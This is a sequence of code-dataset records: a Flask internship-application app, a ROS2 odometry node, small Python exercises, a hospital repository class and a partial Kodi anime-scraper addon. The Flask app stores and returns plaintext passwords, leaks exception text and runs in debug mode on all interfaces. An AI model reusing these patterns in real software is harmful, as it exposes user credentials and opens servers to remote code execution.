resume.\"\n\n # Generate a unique name for the resume (using student_id and current timestamp for uniqueness)\n timestamp = datetime.now().strftime(\"%Y%m%d%H%M%S\")\n resume_file_name_in_s3 = f\"resume_{student_id}_{timestamp}.pdf\"\n\n try:\n # Upload resume to S3\n s3.Bucket(\"yewshuhan-bucket\").put_object(Key=resume_file_name_in_s3, Body=resume_file, ContentDisposition=f\"attachment; filename={ resume_file.filename}\")\n \n # Construct the S3 URL for the uploaded resume\n file_url = f\"https://s3{s3_location}.amazonaws.com/{custombucket}/{resume_file_name_in_s3}\"\n \n # Your SQL to insert data into studentForm\n insert_sql = \"INSERT INTO application (student_id, company_id, details) VALUES (%s, %s, %s)\"\n insert_sql_application_file = \"INSERT INTO applicationFile (file_id, application_id) VALUES (%s, %s)\"\n insert_sql_file = \"INSERT INTO file (file_id, file_url,file_type,file_date) VALUES (%s, %s,'Resume','22/2/2022')\"\n\n\n cursor = db_conn.cursor()\n cursor.execute(insert_sql, (student_id, company_id, details))\n cursor.execute(insert_sql_application_file, (file_id, application_id))\n cursor.execute(insert_sql_file, (file_id, file_url))\n db_conn.commit()\n print(\"Student and resume added successfully!\")\n return redirect(url_for('home'))\n except MySQLError as e:\n print(f\"Error while inserting into the database: {e}\")\n return jsonify(status=\"error\", message=str(e)), 500\n except Exception as e: # Generic exception for other errors, like S3 upload\n print(f\"Error: {e}\")\n return str(e)\n finally:\n cursor.close()\n\n@app.route(\"/viewcompanies\", methods=['GET'])\ndef view_companies():\n try:\n # Retrieve company data from the database\n cursor = db_conn.cursor()\n select_sql = \"SELECT company_name,contact_number,email, industry FROM company\"\n cursor.execute(select_sql)\n company_data = cursor.fetchall()\n cursor.close()\n\n # Create a list to store the company details\n companies = []\n\n # Loop through the retrieved data and fetch S3 URLs for logos\n for company in company_data:\n company_name,contact_number,email, industry = company\n # Assuming you have a naming convention for the logo files\n \n companies.append({'company_name': company_name,'contact_number': contact_number,'email':email, 'industry': industry})\n\n return jsonify(companies)\n except Exception as e:\n return str(e)\n \ndef get_student_files(student_id):\n try:\n with db_conn.cursor() as cursor:\n # Join studentFile with file to retrieve file_url based on student_id\n query = \"\"\"\n SELECT f.file_url\n FROM studentFile AS sf\n JOIN file AS f ON sf.file_id = f.file_id\n WHERE sf.student_id = %s\n \"\"\"\n cursor.execute(query, (student_id,))\n student_files = cursor.fetchall()\n\n return [file[0] for file in student_files]\n except MySQLError as e:\n print(f\"Database Error: {e}\")\n return []\n\n@app.route(\"/internship-form/<student_id>\", methods=['GET'])\ndef internship_form(student_id):\n try:\n # Set up a cursor for database interaction\n cursor = db_conn.cursor()\n\n # Retrieve student data from the database for a specific student_id\n select_sql = \"SELECT student_id, name, programme, email FROM studentDetails WHERE student_id = %s\"\n cursor.execute(select_sql, (student_id,))\n student = cursor.fetchone()\n\n if not student:\n cursor.close()\n return \"Student not found\", 404\n\n student_id, name, programme, email = student\n student_details = {\n 'student-id': student_id,\n 'student-name': name,\n 'programme': programme,\n 'email': email\n }\n\n # Fetch list of companies\n cursor.execute(\"SELECT company_id, company_name FROM company\")\n\n companies = cursor.fetchall()\n\n cursor.close()\n\n return render_template(\"internship-form.html\", student=student_details, companies=companies)\n except Exception as e:\n return str(e), 500\n\n#... (All the previous imports and initializations remain unchanged)\n@app.route(\"/profile/<student_id>\", methods=['GET'])\ndef profile():\n student_id=session.get('student_id')\n try:\n cursor = db_conn.cursor()\n cursor.execute(\"SELECT student_id, name, email, programme, cohort FROM studentDetails WHERE student_id=%s\", (student_id,))\n student = cursor.fetchone()\n cursor.close()\n\n if student:\n student_id, name, email, programme, cohort = student\n \n # Use the helper function here\n student_files = get_student_files(student_id)\n\n return render_template('profile.html', student_id=student_id, name=name, email=email, programme=programme, cohort=cohort, files=student_files)\n else:\n return \"Student not found\", 404\n except Exception as e:\n print(e)\n return \"Error occurred while fetching student details\", 500\n\n@app.route(\"/edit-profile/<student_id>\", methods=['GET', 'POST'])\ndef edit_profile(student_id):\n \n try:\n if request.method == 'POST':\n # Handling form submission\n name = request.form.get('name')\n email = request.form.get('email')\n programme = request.form.get('programme')\n cohort = request.form.get('cohort')\n password = request.form.get('password')\n \n # Update the student data in the database\n update_sql = \"\"\"\n UPDATE studentDetails\n SET name=%s, email=%s, programme=%s, cohort=%s, password=%s\n WHERE student_id=%s\n \"\"\"\n \n with db_conn.cursor() as cursor:\n cursor.execute(update_sql, (name, email, programme, cohort, password, student_id))\n db_conn.commit()\n\n # If the progress file is uploaded, save it to S3 and the database.\n progress_file = request.files.get('progress')\n if progress_file and progress_file.filename:\n timestamp = datetime.now().strftime(\"%Y%m%d%H%M%S\")\n progress_file_name_in_s3 = progress_file.filename\n s3.Bucket(\"yewshuhan-bucket\").put_object(Key=progress_file_name_in_s3, Body=progress_file, ContentDisposition=f\"attachment; filename={progress_file.filename}\")\n progress_file_url = progress_file_name_in_s3\n\n # Insert file_url into the `file` table\n file_id = str(uuid4())\n insert_file_sql = \"INSERT INTO file (file_id,file_url) VALUES (%s,%s)\"\n with db_conn.cursor() as cursor:\n cursor.execute(insert_file_sql, (file_id,progress_file_url))\n \n db_conn.commit()\n\n # Now, link the student with the file_id in the `studentFile` table\n insert_student_file_sql = \"INSERT INTO studentFile (student_id, file_id) VALUES (%s, %s)\"\n with db_conn.cursor() as cursor:\n cursor.execute(insert_student_file_sql, (student_id, file_id))\n db_conn.commit()\n\n # Redirect to profile after successful update\n return redirect(url_for('profile', student_id=student_id))\n \n else:\n with db_conn.cursor() as cursor:\n cursor.execute(\"SELECT student_id, name, email, programme, cohort, password FROM studentDetails WHERE student_id=%s\", (student_id,))\n student = cursor.fetchone()\n\n if student:\n student_dict = {\n 'student_id': student[0],\n 'name': student[1],\n 'email': student[2],\n 'programme': student[3],\n 'cohort': student[4],\n 'password': student[5]\n }\n return render_template('edit-profile.html', student=student_dict)\n else:\n return \"Student not found\", 404\n\n except MySQLError as e:\n print(f\"Database Error: {e}\")\n return \"Database error occurred\", 500\n \n except Exception as e:\n print(\"Exception occurred:\", e)\n traceback.print_exc()\n return \"Error occurred while fetching or updating student details\", 500\n@app.route(\"/application-status/<student_id>\", methods=['GET'])\ndef application_status(student_id):\n try:\n cursor = db_conn.cursor()\n \n # SQL query to fetch application details\n query = \"\"\"\n SELECT \n s.name, \n a.details, \n c.company_name, \n c.email, \n a.status\n FROM \n application AS a\n JOIN \n studentDetails AS s ON a.student_id = s.student_id\n JOIN \n company AS c ON a.company_id = c.company_id\n WHERE \n a.student_id = %s;\n \"\"\"\n #run in db\n cursor.execute(query, (student_id,))\n raw_applications = cursor.fetchall()\n cursor.close()\n\n # Convert the fetched data into a list of dictionaries\n applications_list = []\n for app in raw_applications:\n app_dict = {\n \"student_name\": app[0],\n \"internship_details\": app[1] if app[1] else \"N/A\", # Handle None values\n \"company_name\": app[2],\n \"company_email\": app[3],\n \"status\": app[4] if app[4] else \"Pending\" # Handle None values\n }\n applications_list.append(app_dict)\n\n return render_template('application-status.html', applications=applications_list)\n\n except Exception as e:\n print(e)\n return \"Error occurred while fetching application status\", 500\n\n\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=80, debug=True)\n\n","repo_name":"wongkiongho/CC-website","sub_path":"add_student.py","file_name":"add_student.py","file_ext":"py","file_size_in_byte":11755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11275297221","text":"# test normal assign\ns = 2\n\n# test type assign\na: int\nx: int = 3\nx: float = 2\nx: int = 1.2\nx: str\n\n# test tuple assign and star assign\nx, y = 1, 2\nx, *y = 1, 2, 3\nx, a, b = *y, x\n\n# test assign expr\na = b = 1\na, b = c, d = 2, 3\n","repo_name":"Tastror/minipy","sub_path":"testsample/3_assign.py","file_name":"3_assign.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"41596022338","text":"import numpy as np\nimport casadi as ca\nimport can\nimport rclpy\n\nfrom rclpy.node import Node\nfrom std_msgs.msg import Float32MultiArray, UInt16MultiArray, String\nfrom sensor_msgs.msg import Imu\nfrom tf_transformations import euler_from_quaternion\nfrom model_kinematic.kinematic import *\nfrom nav_msgs.msg import Odometry\n\nclass RotaryNode(Node):\n\n def __init__(self):\n super(RotaryNode, self).__init__('rotary_node')\n\n self.r = 0.029\n self.ppr = 8200\n self.wheel_ppr = 912\n\n self.input_cons = [0, 0, 0, 0]\n\n self.yaw = 0.0\n\n self.prev_state = np.zeros(2)\n self.curr_state = np.zeros(2)\n self.prev_tick = np.zeros(2)\n self.curr_tick = np.zeros(2)\n\n self.rotary_data = np.zeros(2)\n self.diff_rotary = np.zeros(2)\n\n self.first_init = True\n\n\n self.prev_wheel = np.zeros(3)\n self.curr_wheel = np.zeros(3)\n self.wheel_vel = np.zeros(3)\n self.prev_wheel_tick = np.zeros(4)\n self.curr_wheel_tick = np.zeros(4)\n self.diff_wheel_tick = np.zeros(4)\n\n self.prev_yaw = 0.0\n self.curr_yaw = 0.0\n self.dyaw = 0.0\n self.hist_yaw = [0]\n\n self.wheel_init = True\n self.retry_status = None\n\n self.kinematic = kinematic()\n\n self.wheel_subscriber = self.create_subscription(UInt16MultiArray, 'wheel_tick', self.wheel_callback, 10)\n self.tick_subscriber = self.create_subscription(UInt16MultiArray, 'external_rotary', self.rotary_callback, 10)\n self.imu_subscriber = self.create_subscription(Imu, 'imu/data2', self.imu_callback, 10)\n self.state_subscriber = self.create_subscription(String, 'retry_state', self.retry_callback, 10)\n\n self.odom_publisher = self.create_publisher(Float32MultiArray, 'odometry_rotary', 10)\n self.wheel_odom = self.create_publisher(Float32MultiArray, 'odom_wheel', 10)\n self.input_publisher = self.create_publisher(Float32MultiArray, 'feedback_controls', 10)\n self.input_timer = self.create_timer(0.05, self.input_callback)\n\n # self.rotary_timer = self.create_timer(0.0333, self.rotary_cb_pub)\n # self.odom_timer = self.create_timer(0.02, self.odom_callback)\n\n def wheel_model(self, u1, u2, u3, u4, theta):\n\n w1 = u1 * 2 * np.pi/self.wheel_ppr\n w2 = u2 * 2 * np.pi/self.wheel_ppr\n w3 = u3 * 2 * np.pi/self.wheel_ppr\n w4 = u4 * 2 * np.pi/self.wheel_ppr\n\n self.input_cons = [w1, w2, w3, w4]\n\n for_vec = self.kinematic.meca_forward_kinematic(w1, w2, w3, w4, theta)\n\n return for_vec\n \n def input_callback(self):\n input_msg = Float32MultiArray()\n\n input_msg.data = [float(self.input_cons[0]), float(self.input_cons[1]), float(self.input_cons[2]), float(self.input_cons[3])]\n\n self.input_publisher.publish(input_msg)\n\n def retry_callback(self, re_msg):\n self.retry_status = re_msg.data\n \n def imu_callback(self, imu_msg):\n\n q1 = imu_msg.orientation.x\n q2 = imu_msg.orientation.y\n q3 = imu_msg.orientation.z\n q4 = imu_msg.orientation.w\n\n orient_list = [q1, q2, q3, q4]\n\n roll, pitch , yaw = euler_from_quaternion(orient_list)\n\n self.yaw = yaw\n # self.curr_yaw = yaw\n\n # self.dyaw = self.curr_yaw - self.prev_yaw\n\n # self.prev_yaw = self.curr_yaw\n\n self.hist_yaw.append(yaw)\n\n self.dyaw = self.hist_yaw[-1]-self.hist_yaw[-2]\n\n def wheel_callback(self, tick_msg):\n odom_msg = Float32MultiArray()\n if (self.wheel_init):\n self.prev_wheel_tick = np.array([tick_msg.data[0], tick_msg.data[1], tick_msg.data[2], tick_msg.data[3]])\n self.curr_wheel_tick = self.prev_wheel_tick\n self.wheel_init = False\n else:\n self.curr_wheel_tick = np.array([tick_msg.data[0], tick_msg.data[1], tick_msg.data[2], tick_msg.data[3]])\n self.diff_wheel_tick = (self.curr_wheel_tick - self.prev_wheel_tick)\n for i in range(4):\n if (self.diff_wheel_tick[i] > 32768):\n self.diff_wheel_tick[i] = self.diff_wheel_tick[i] - 65535\n elif (self.diff_wheel_tick[i] < -32768):\n self.diff_wheel_tick[i] = self.diff_wheel_tick[i] + 65535\n \n self.curr_wheel = self.prev_wheel - self.wheel_model(self.diff_wheel_tick[0], self.diff_wheel_tick[1],\n self.diff_wheel_tick[2], self.diff_wheel_tick[3], self.yaw)\n \n odom_msg.data = [self.curr_wheel[0], self.curr_wheel[1]]\n\n self.wheel_odom.publish(odom_msg)\n\n self.prev_wheel = self.curr_wheel\n self.prev_wheel_tick = self.curr_wheel_tick\n print(self.curr_wheel)\n # print(self.wheel_vel)\n\n self.prev_wheel_tick = self.curr_wheel_tick\n \n\n def rotary_model(self, t1, t2, theta):\n\n u1 = t1 * 2 * np.pi / self.ppr\n u2 = t2 * 2 * np.pi / self.ppr\n\n for_vec = (self.r)*np.array([\n u1*np.cos(theta)-u2*np.sin(theta),\n u1*np.sin(theta)+u2*np.cos(theta),\n ], dtype=np.float64)\n\n return for_vec\n\n\n def rotary_callback(self, tick_msg):\n odom_msg = Float32MultiArray()\n\n if (self.first_init):\n self.prev_tick = np.array([tick_msg.data[0], tick_msg.data[1]])\n self.curr_tick = self.prev_tick\n self.first_init = False\n else:\n self.curr_tick = np.array([tick_msg.data[0], tick_msg.data[1]])\n self.diff_rotary = self.curr_tick - self.prev_tick\n for i in range(2):\n if (self.diff_rotary[i] > 32768):\n self.diff_rotary[i] = self.diff_rotary[i] - 65535\n elif (self.diff_rotary[i] < -32768):\n self.diff_rotary[i] = self.diff_rotary[i] + 65535\n #self.curr_state[0] = self.prev_state[0]+ self.rotary_model(self.diff_rotary[0], self.diff_rotary[1], self.yaw)[0]\n #self.curr_state[1] = self.prev_state[1]+ self.rotary_model(self.diff_rotary[0], self.diff_rotary[1], self.yaw)[1]\n self.curr_state = self.prev_state+ self.rotary_model(self.diff_rotary[0], self.diff_rotary[1], self.yaw)\n odom_msg.data = [float(self.curr_state[0]), float(self.curr_state[1])]\n\n self.odom_publisher.publish(odom_msg)\n\n self.prev_state = self.curr_state\n\n self.prev_tick = self.curr_tick\n\n #print(self.curr_state)\n\n # print(self.rotary_model(self.diff_rotary[0], self.diff_rotary[1], 0.0))\n\n\n\ndef main(args=None):\n rclpy.init(args=args)\n\n node = RotaryNode()\n\n rclpy.spin(node)\n\n node.destroy_node()\n\n rclpy.shutdown()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Robocon2023-ITC01-ws/Rabbit_robocon2023","sub_path":"rabbit_can/rabbit_can/odometry.py","file_name":"odometry.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71942318828","text":"'''\nCreated on 2015年12月1日\n找Amicable Number Pairs.\n就是 数A 的所有因数(包括1,不包括A) 之和 等于 B。B的所有因数之和又刚好为A。 且 A != B.\n求[1, N] 中所有符合条件的pair\n@author: Darren\n'''\n\ndef printAmicableNumber(maxRange):\n dp=[1]*maxRange\n for i in range(2,maxRange):\n k=i+i\n while k<maxRange:\n dp[k]+=i\n k+=i\n for i in range(2,maxRange):\n if dp[i]<maxRange and dp[dp[i]]==i and i<dp[i]:\n print(str(i)+\" \"+str(dp[i]))\nprintAmicableNumber(1000000)","repo_name":"darrencheng0817/AlgorithmLearning","sub_path":"Python/interview/practiceTwice/amicableNumberPairs.py","file_name":"amicableNumberPairs.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7744182704","text":"from utils.sort_algo import sort_algo\r\nfrom domain.departament import Departament\r\nfrom utils.backtracking import backtracking\r\nfrom utils.age_calculator import calculate_age\r\n\r\n\r\nclass DepartamentRepository:\r\n\r\n\tdef __init__(self, departments: [Departament] = None):\r\n\t\t\"\"\"\r\n\t\tinitialize the repository\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif departments is None:\r\n\t\t\tdepartments = []\r\n\t\tfor i in range(len(departments) - 1):\r\n\t\t\tfor j in range(i + 1, len(departments)):\r\n\t\t\t\tif departments[i].get_name_id() == departments[j].get_name_id():\r\n\t\t\t\t\traise ValueError(\"There two repositories with same name\")\r\n\t\tself.__departments = departments\r\n\r\n\tdef get_departments(self):\r\n\t\t\"\"\"\r\n\t\tget the list of departments\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\treturn self.__departments[:]\r\n\r\n\tdef sort_by_number_of_patients(self):\r\n\t\t\"\"\"\r\n\t\tsort the departments by number of patients\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tself.__departments = sort_algo(self.__departments[:],\r\n\t\tlambda x1, x2: bool(x1.get_number_of_patients() <= x2.get_number_of_patients()))\r\n\r\n\tdef sort_by_age(self, age):\r\n\t\t\"\"\"\r\n\t\tsort the department with by number of patients above a given age\r\n\t\t:param age:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tdef get_patients_above(department):\r\n\t\t\tcounter = 0\r\n\t\t\tfor patient in department.get_patients():\r\n\t\t\t\tif calculate_age(patient) >= age:\r\n\t\t\t\t\tcounter += 1\r\n\t\t\treturn counter\r\n\t\tself.__departments = sort_algo(self.__departments[:],\r\n\t\tlambda x1, x2: bool(get_patients_above(x1) <= get_patients_above(x2)))\r\n\r\n\tdef sort_by_number_of_patients_and_name(self):\r\n\t\t\"\"\"\r\n\t\tsort by number of patients and patients alphabetically\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tself.sort_by_number_of_patients()\r\n\t\tfor departament in self.__departments:\r\n\t\t\tdepartament.sort_by_name()\r\n\r\n\tdef department_under_age(self, age):\r\n\t\t\"\"\"\r\n\t\tget departments with patients under a given age\r\n\t\t:param age:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tdef patients_under_age(patients):\r\n\t\t\tfor patient in patients:\r\n\t\t\t\tif calculate_age(patient) < age:\r\n\t\t\t\t\treturn True\r\n\t\t\treturn False\r\n\t\tdepartment_list = []\r\n\t\tfor department in self.__departments:\r\n\t\t\tif patients_under_age(department.get_patients()):\r\n\t\t\t\tdepartment_list.append(department)\r\n\t\tif not department_list:\r\n\t\t\traise ValueError(f\"There are no departments with patients under {age}\")\r\n\t\treturn DepartamentRepository(department_list)\r\n\r\n\tdef get_patients_with_string_name(self, index, string):\r\n\t\t\"\"\"\r\n\t\tget patients with specific string in name\r\n\t\t:param index:\r\n\t\t:param string:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tif not 0 <= index <= len(self.__departments):\r\n\t\t\traise IndexError(\"Your index is out of range\")\r\n\t\tpatients = []\r\n\t\tfor patient in self.__departments[index].get_patients():\r\n\t\t\tif patient.get_first_name().find(string) != -1:\r\n\t\t\t\tpatients.append(patient)\r\n\t\t\telif patient.get_last_name().find(string) != -1:\r\n\t\t\t\tpatients.append(patient)\r\n\t\tif not patients:\r\n\t\t\traise ValueError(\"The string is not contained in any of the patients names\")\r\n\t\treturn Departament(\"newDep\", 0, patients)\r\n\r\n\tdef departments_with_patients_name(self, first_name):\r\n\t\t\"\"\"\r\n\t\tfind departments with patients that have a given first name\r\n\t\t:param first_name:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tdepartments_list = []\r\n\t\tfor department in self.__departments:\r\n\t\t\tfor patient in department.get_patients():\r\n\t\t\t\tif patient.get_first_name() == first_name:\r\n\t\t\t\t\tdepartments_list.append(department)\r\n\t\t\t\t\tbreak\r\n\t\tif not departments_list:\r\n\t\t\traise ValueError(f\"There are no patients with first name {first_name}\")\r\n\t\treturn DepartamentRepository(departments_list)\r\n\r\n\tdef groups_of_k_with_same_disease(self, k):\r\n\t\t\"\"\"\r\n\t\tgenerate all the groups of patients in department with same disease\r\n\t\t:param k:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tgroups = []\r\n\t\tfor department in self.__departments:\r\n\t\t\tdiseases = []\r\n\t\t\tfor patient in department.get_patients():\r\n\t\t\t\tif not patient.get_disease() in diseases:\r\n\t\t\t\t\tdiseases.append(patient.get_disease())\r\n\r\n\t\t\tgroups.append([department])\r\n\t\t\tfor disease in diseases:\r\n\t\t\t\tfor combination in backtracking([],\r\n\t\t\t\t\t\t\texist = lambda solution: solution[-1] < len(department.get_patients()),\r\n\t\t\t\t\t\t \tis_solution = lambda solution: len(solution) == k,\r\n\t\t\t\t\t\t\tconsistent = lambda solution: department.get_patient_by_index(\r\n\t\t\t\t\t\t\t\t\t\t\t\tsolution[-1]).get_disease() == disease\r\n\t\t\t\t\t\t\t\t\t\t\t\tand all(i < j for i, j in zip(solution, solution[1:]))):\r\n\t\t\t\t\tif combination is None:\r\n\t\t\t\t\t\traise ValueError(f\"It can not be formed groups of {k} patients\")\r\n\t\t\t\t\tgroups[-1].append(list(map(lambda index: department.get_patients()[index], combination)))\r\n\r\n\t\treturn groups.copy()\r\n\r\n\tdef groups_of_k_with_p_patients(self, k, p):\r\n\t\t\"\"\"\r\n\t\tform groups of p patients from at most k departments\r\n\t\t:param k:\r\n\t\t:param p:\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tgroups = []\r\n\t\tfor department_combination in backtracking([],\r\n\t\t\t\t\t\t\t\t\t\texist = lambda solution: solution[-1] < len(self.__departments),\r\n\t\t\t\t\t\t\t\t\t\tis_solution = lambda solution: len(solution) == k,\r\n\t\t\t\t\t\t\t\t\t\tconsistent = lambda solution: all(i < j for i, j in zip(solution, solution[1:]))):\r\n\t\t\tif department_combination is None:\r\n\t\t\t\traise ValueError(f\"It can not be formed groups of {k} departments\")\r\n\t\t\tgroups.append([[self.__departments[index] for index in department_combination]])\r\n\t\t\tpatients = [patient\r\n\t\t\t\t\t\tfor depart_index in department_combination\r\n\t\t\t\t\t\tfor patient in self.__departments[depart_index].get_patients()\r\n\t\t\t]\r\n\t\t\tdiseases = []\r\n\t\t\tfor patient in patients:\r\n\t\t\t\tif not patient.get_disease() in diseases:\r\n\t\t\t\t\tdiseases.append(patient.get_disease())\r\n\t\t\tfor disease in diseases:\r\n\t\t\t\tfor combination in backtracking([],\r\n\t\t\t\t\t\t\texist = lambda solution: solution[-1] < len(patients),\r\n\t\t\t\t\t\t \tis_solution = lambda solution: len(solution) == p,\r\n\t\t\t\t\t\t\tconsistent = lambda solution: patients[solution[-1]].get_disease() == disease\r\n\t\t\t\t\t\t\t\t\t\t\t\tand all(i < j for i, j in zip(solution, solution[1:]))):\r\n\t\t\t\t\tif combination is None:\r\n\t\t\t\t\t\traise ValueError(f\"It can not be formed groups of {p} patients\")\r\n\t\t\t\t\tgroups[-1].append(list(map(lambda index: patients[index], combination)))\r\n\t\treturn groups[:]\r\n\r\n\tdef __str__(self):\r\n\t\ttext = \"\"\r\n\t\tfor department in self.__departments:\r\n\t\t\ttext += department.__str__() + \"\\n\"\r\n\t\treturn text\r\n","repo_name":"tontonel/lab11","sub_path":"infrastructure/departamentRepository.py","file_name":"departamentRepository.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36116191058","text":"# PACS settings\nAE_TITLE = 'AE_TITLE'\nAE_CALLED = 'AE_CALLED'\nPEER_ADDRESS = '127.0.0.1'\nPEER_PORT = '104'\n\n\nREPORT_SHOW_URL = \"http://meqpacscrllt01.uhbs.ch:9000/show?accession_number=\"\n\n\nLUIGI_SCHEDULER = 'http://localhost:8082'","repo_name":"joshy/pypacscrawler","sub_path":"pypacscrawler/default_config.py","file_name":"default_config.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"32692461279","text":"# -*- coding: utf-8 -*-\n# vStream https://github.com/Kodi-vStream/venom-xbmc-addons\n# Makoto et Arias800 02/06/2019\nimport re\n\nfrom resources.lib.comaddon import addon, isMatrix, siteManager\nfrom resources.lib.gui.hoster import cHosterGui\nfrom resources.lib.gui.gui import cGui\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\nfrom resources.lib.handler.requestHandler import cRequestHandler\nfrom resources.lib.parser import cParser\nfrom resources.lib.util import cUtil\n\nSITE_IDENTIFIER = 'animeultime'\nSITE_NAME = 'Anime Ultime'\nSITE_DESC = 'Animés, Dramas en Direct Download'\n\nURL_MAIN = siteManager().getUrlMain(SITE_IDENTIFIER)\n\nUA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'\n\nURL_SEARCH_DRAMAS = (URL_MAIN + 'search-0-1+', 'showSeries')\nURL_SEARCH_ANIMS = (URL_MAIN + 'search-0-1+', 'showSeries')\n\nANIM_ANIMS = (True, 'showMenuAnimes')\nANIM_ANNEES = (True, 'ShowYearsAnimes')\nANIM_GENRES = (True, 'ShowGenreAnimes')\nANIM_ALPHA = (True, 'ShowAlphaAnimes')\n\nDRAMA_DRAMAS = (True, 'showMenuDramas')\nDRAMA_ANNEES = (True, 'ShowYearsDramas')\nDRAMA_GENRES = (True, 'ShowGenreDramas')\nDRAMA_ALPHA = (True, 'ShowAlphaDramas')\n\nTOKUSATSU_TOKUSATSUS = (True, 'showMenuTokusatsu')\nTOKUSATSU = (URL_MAIN + 'series-0-1/tokusatsu/0---', 'showSeries')\nTOKUSATSU_ALPHA = ('true', 'ShowAlphaTokusatsu')\n\nadulteContent = addon().getSetting('contenu_adulte')\n\n\ndef load():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', URL_SEARCH_DRAMAS[0])\n oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Recherche', 'search.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', DRAMA_DRAMAS[0])\n oGui.addDir(SITE_IDENTIFIER, DRAMA_DRAMAS[1], 'Dramas', 'dramas.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', ANIM_ANIMS[0])\n oGui.addDir(SITE_IDENTIFIER, ANIM_ANIMS[1], 'Animés', 'animes.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', TOKUSATSU_TOKUSATSUS[0])\n oGui.addDir(SITE_IDENTIFIER, TOKUSATSU_TOKUSATSUS[1], 'Tokusatsu', 'films.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showMenuAnimes():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', ANIM_ALPHA[0])\n oGui.addDir(SITE_IDENTIFIER, ANIM_ALPHA[1], 'Animés (Ordre alphabétique)', 'az.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', ANIM_GENRES[0])\n oGui.addDir(SITE_IDENTIFIER, ANIM_GENRES[1], 'Animés (Genres)', 'genres.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', ANIM_ANNEES[0])\n oGui.addDir(SITE_IDENTIFIER, ANIM_ANNEES[1], 'Animés (Par années)', 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showMenuDramas():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', DRAMA_ALPHA[0])\n oGui.addDir(SITE_IDENTIFIER, DRAMA_ALPHA[1], 'Dramas (Ordre alphabétique)', 'az.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', DRAMA_GENRES[0])\n oGui.addDir(SITE_IDENTIFIER, DRAMA_GENRES[1], 'Dramas (Genres)', 'genres.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', DRAMA_ANNEES[0])\n oGui.addDir(SITE_IDENTIFIER, DRAMA_ANNEES[1], 'Dramas (Par années)', 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showMenuTokusatsu():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', TOKUSATSU[0])\n oGui.addDir(SITE_IDENTIFIER, TOKUSATSU[1], 'Tokusatsu', 'films.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', TOKUSATSU_ALPHA[0])\n oGui.addDir(SITE_IDENTIFIER, TOKUSATSU_ALPHA[1], 'Tokusatsu (Ordre alphabétique)', 'az.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef loadTypelist(typemovie, typelist):\n # typelist genre ou year\n # <select name=\"genre\"\n # <select name=\"year\"\n sUrl = URL_MAIN + 'series-0-1/' + typemovie\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n oParser = cParser()\n\n sPattern = '<select name=\"([^\"]+)|<option value=\\'([^\\']+).*?>([^<]+)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n list_typelist = {}\n\n if aResult[0]:\n for aEntry in aResult[1]:\n if aEntry[0]:\n if aEntry[0] == typelist:\n bfind = True\n else:\n bfind = False\n\n if bfind and aEntry[1]:\n if not isMatrix():\n title = aEntry[2].decode('iso-8859-1').encode('utf8')\n else:\n title = aEntry[2]\n title = title.replace('e', 'E').strip()\n list_typelist[title] = aEntry[1]\n\n list_typelist = sorted(list_typelist.items(), key=lambda typeList: typeList[0])\n\n return list_typelist\n\n\ndef ShowGenreAnimes():\n ShowGenre('anime')\n\n\ndef ShowGenreDramas():\n ShowGenre('drama')\n\n\ndef ShowGenre(typemovie):\n oGui = cGui()\n list_listgenre = loadTypelist(typemovie, 'genre')\n oOutputParameterHandler = cOutputParameterHandler()\n for ilist in list_listgenre:\n url = URL_MAIN + 'series-0-1/' + typemovie + '/-' + ilist[1] + '---'\n sTitle = ilist[0].title()\n 